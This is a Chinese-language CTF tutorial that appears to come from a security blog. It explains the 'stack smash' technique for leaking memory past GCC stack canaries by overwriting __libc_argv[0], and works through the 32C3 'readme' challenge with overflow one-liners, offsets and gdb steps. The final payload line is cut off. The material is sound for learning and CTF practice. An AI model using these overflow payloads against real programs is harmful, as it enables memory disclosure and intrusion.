您当前的位置: 首页 > 

合天网安实验室

暂无认证

  • 0浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

栈溢出技巧-中

合天网安实验室 发布时间:2021-04-02 17:28:00 ,浏览量:0

 

基于报错类的栈保护

canary这个值被称作金丝雀(“canary”)值,指的是矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警。在brop中也提到过,通过爆破的办法去进行绕过canary保护,因为canary的值在每次程序运行时都是不同的,所以这需要一定的条件:fork的子进程不变,题目中很难遇到,所以我们可以使用stack smash的方法进行泄漏内容。canary位置位于高于局部变量,低于ESP,也就是在其中间,那么我们进行溢出攻击的时候,都会覆盖到canary的值,从而导致程序以外结束。具体看一下canary在哪?怎么形成的?又是怎么使用的?举一个小例子:


#include void main(int argc, char **argv) {    char buf[10];    scanf("%s", buf);}pwn@pwn-PC:~/Desktop$ gcc test.c -fstack-protector


看一下其汇编代码


Dump of assembler code for function main:   0x0000000000000740 : push   rbp   0x0000000000000741 : mov    rbp,rsp   0x0000000000000744 : sub    rsp,0x30   0x0000000000000748 : mov    DWORD PTR [rbp-0x24],edi   0x000000000000074b :    mov    QWORD PTR [rbp-0x30],rsi   0x000000000000074f :    mov    rax,QWORD PTR fs:0x28   0x0000000000000758 :    mov    QWORD PTR [rbp-0x8],rax   0x000000000000075c :    xor    eax,eax   0x000000000000075e :    lea    rax,[rbp-0x12]   0x0000000000000762 :    mov    rsi,rax   0x0000000000000765 :    lea    rdi,[rip+0xb8]        # 0x824   0x000000000000076c :    mov    eax,0x0   0x0000000000000771 :    call   0x5f0    0x0000000000000776 :    mov    rax,QWORD PTR [rbp-0x30]   0x000000000000077a :    lea    rdx,[rip+0xa6]        # 0x827   0x0000000000000781 :    mov    QWORD PTR [rax],rdx   0x0000000000000784 :    nop   0x0000000000000785 :    mov    rax,QWORD PTR [rbp-0x8]   0x0000000000000789 :    xor    rax,QWORD PTR fs:0x28   0x0000000000000792 :    je     0x799    0x0000000000000794 :    call   0x5e0    0x0000000000000799 :    leave     0x000000000000079a :    ret    End of assembler dump.


找到 和处

  
 0x000000000000074f :    mov    rax,QWORD PTR fs:0x28   0x0000000000000758 :    mov    QWORD PTR [rbp-0x8],rax.....   0x0000000000000785 :    mov    rax,QWORD PTR [rbp-0x8]   0x0000000000000789 :    xor    rax,QWORD PTR fs:0x28


前两处是生成canary并且存在[rbp-0x8]中,怎是通过从fs:0x28的地方获取的,而且发现每次都会变化,无法预测。后两处则是程序执行完成后对[rbp-0x8]canary值与fs:0x28的值进行比较,如果xor操作后rax寄存器中值为0,那么程序自己就认为是没有被破坏,否则调用__stack_chk_fail函数。继续看该函数的内容和作用,会引出stack smash利用技巧。

 
__attribute__ ((noreturn)) __stack_chk_fail (void) {       __fortify_fail ("stack smashing detected"); }
void __attribute__ ((noreturn)) __fortify_fail (msg)   const char *msg; {      /* The loop is added only to keep gcc happy. */         while (1)              __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "") } libc_hidden_def (__fortify_fail)


最终会调用fortify_fail函数中的libc_message (2, "* %s *: %s terminated\n", msg, __libc_argv[0] ?: "") ,关键点来了。一、可以打印信息二、__libc_argv[0]可控制那么__libc_argv[0]是什么呢?与打印信息又什么联系?libc_argv[0]则是* argv[ ]指针组的的元素,先看 main函数的原型,void main(int argc, char *argv)。其中参数argc是整数,表示使用命令行运行程序时传递了几个参数; argv[ ]是一个指针数组,用来存放指向你的字符串参数的指针,每一个元素指向一个参数。其中argv[0]指向程序运行的全路径名,也就是程序的名字,比如例子中的./a.out,argv[1] 指向在命令行中执行程序名后的第一个字符串,以此类推。但是这样看来,libc_argv[0]似乎是不可以控制的,或者只能使用修改程序名来进行控制。继续看这么一个小实验,先看一下这个错误信息是怎么打印的(至于为什么是输出50个字节,随后再探究)。


pwn@pwn-PC:~/Desktop$ python -c 'print "A"*50' | ./a.out*** stack smashing detected ***: ./a.out terminated段错误


如果我们在程序中强行修改__libc_argv[0]会怎么样?


#include void main(int argc, char **argv) {    char buf[10];    scanf("%s", buf);    argv[0] = "stack smash!";}pwn@pwn-PC:~/Desktop$ gcc test.c -fstack-protectorpwn@pwn-PC:~/Desktop$ python -c 'print "A"*50' | ./a.out*** stack smashing detected ***: stack smash! terminated段错误


可以发现成功控制了__libc_argv[0]的值,打印出来了想要的信息。综上所述,这一种基于报错类的栈保护,恰恰是可以报错,所以存在stack smash的绕过方法。

stack smash原理

调试fortify_fail 函数,找到libc_message函数的部分汇编代码:

0x7ffff7b331d0     mov    rax, qword ptr [rip + 0x2a5121] 

然后获取[rip+0x2a5121]的值,也就是存放__libc_argv[0]的内存单元。

对于这个例子来说,输入的长度达到0xf8字节,即可开始覆盖__libc_argv[0]的值,从而打印出来需要的信息,构造就相应的payload就行泄漏想要的内容,比如存储的flag内容、开启PIE的加载基址、canary的值等等。在一节里面,拿刚才的例子再做一个有意思的小实验:


pwn@pwn-PC:~/Desktop$ python -c 'print "A"*247' | ./a.out*** stack smashing detected ***: ./a.out terminated段错误pwn@pwn-PC:~/Desktop$ python -c 'print "A"*248' | ./a.out*** stack smashing detected ***:  terminated段错误pwn@pwn-PC:~/Desktop$ python -c 'print "A"*249' | ./a.out*** stack smashing detected ***:  terminated段错误pwn@pwn-PC:~/Desktop$ python -c 'print "A"*250' | ./a.out段错误


buf(0x7fffffffcd00)和__libc_argv0

处相距0xf8(也就是说第249位会覆盖到0x7fffffffcdf8),那么输入247、248、249、250会出现三种情况,分别看一下对应情况下0x7fffffffcdf8的值:


达不到覆盖的距离:21:0108│      0x7fffffffcdf8 —▸ 0x7fffffffd0d2 ◂— '/home/pwn/Desktop/a.out'刚好达到覆盖的距离,读入\x00刚好覆盖到:21:0108│      0x7fffffffcdf8 —▸ 0x7fffffffd000 ◂— 9 /* '\t' */覆盖形成的地址在内存中可以找到:21:0108│      0x7fffffffcdf8 —▸ 0x7fffffff0041 ◂— 0x0Cannot access memory at address 0x7fffff004141:21:0108│      0x7fffffffcdf8 ◂— 0x7fffff004141 /* 'AA' */  


因此在尝试寻找offset的时候,选择offset = 248。当然尝试的办法太慢了,直接gdb调试下断点,类似于例子中的distance 0x7fffffffcd00 0x7fffffffcdf8即可。

题目一

2015 年 32C3 CTF readme题目分析如下:

unsigned __int64 sub_4007E0()
{
  __int64 v0; // rbx
  int v1; // eax
  __int64 v3; // [rsp+0h] [rbp-128h]
  unsigned __int64 v4; // [rsp+108h] [rbp-20h]


  v4 = __readfsqword(0x28u);
  __printf_chk(1LL, "Hello!\nWhat's your name? ");
  if ( !_IO_gets(&v3) )
LABEL_9:
    _exit(1);
  v0 = 0LL;
  __printf_chk(1LL, "Nice to meet you, %s.\nPlease overwrite the flag: ");
  while ( 1 )
  {
    v1 = _IO_getc(stdin);
    if ( v1 == -1 )
      goto LABEL_9;
    if ( v1 == 10 )
      break;
    byte_600D20[v0++] = v1;
    if ( v0 == 32 )
      goto LABEL_8;
  }
  memset((void *)((signed int)v0 + 6294816LL), 0, (unsigned int)(32 - v0));
LABEL_8:
  puts("Thank you, bye!");
  return __readfsqword(0x28u) ^ v4;
}


pwn@pwn-PC:~/Desktop$ ./readme.bin 
Hello!
What's your name? aaa
Nice to meet you, aaa.
Please overwrite the flag: aaa
Thank you, bye!
pwn@pwn-PC:~/Desktop$ checksec readme.bin 
[*] '/home/pwn/Desktop/readme.bin'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

程序中存在两次输入,并且可以发现_IO_gets(&v3)处存在明显的栈溢出。尝试找到__libc_argv[0]的位置


pwn@pwn-PC:~/Desktop$ python -c 'print "A"*0x128+"\n"'|./readme.binHello!What's your name? Nice to meet you, AAAAAAAA...Please overwrite the flag: Thank you, bye!*** stack smashing detected ***: ./readme.bin terminated
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*535+"\n"'|./readme.binHello!What's your name? Nice to meet you, AAAAAAAA...Please overwrite the flag: Thank you, bye!*** stack smashing detected ***: ./readme.bin terminated
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+"\n"'|./readme.binHello!What's your name? Nice to meet you, AAAAAAAA...Please overwrite the flag: Thank you, bye!*** stack smashing detected ***:   terminated


因此offset = 536。为了做题的效率,不可能去一个一个尝试,如下:


gdb-peda$ find /homeSearching for '/home' in: None rangesFound 5 results, display max 5 items:[stack] : 0x7fffffffd0c8 ("/home/pwn/Desktop/readme.bin")[stack] : 0x7fffffffec71 ("/home/pwn/Desktop")[stack] : 0x7fffffffec91 ("/home/pwn")[stack] : 0x7fffffffef29 ("/home/pwn/.Xauthority")[stack] : 0x7fffffffefdb ("/home/pwn/Desktop/readme.bin")gdb-peda$ find 0x7fffffffd0c8Searching for '0x7fffffffd0c8' in: None rangesFound 2 results, display max 2 items:   libc : 0x7ffff7dd43b8 --> 0x7fffffffd0c8 ("/home/pwn/Desktop/readme.bin")[stack] : 0x7fffffffcde8 --> 0x7fffffffd0c8 ("/home/pwn/Desktop/readme.bin")gdb-peda$ distance $rsp 0x7fffffffcde8From 0x7fffffffcbd0 to 0x7fffffffcde8: 536 bytes, 134 dwords这个计算距离只是特例,最好是按照上一部分例子中的方法来计算,下断点,distance 地址1 地址2.


可以在IDA下发现.data段的变量


.data:0000000000600D20 byte_600D20     db 33h                  ; DATA XREF: sub_4007E0+6E↑w.data:0000000000600D21 a2c3Theserverha db '2C3_TheServerHasTheFlagHere...',0


只需要将此变量进行显示即可,于是构造payload:


pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("            
关注
打赏
1665306545
查看更多评论
0.0530s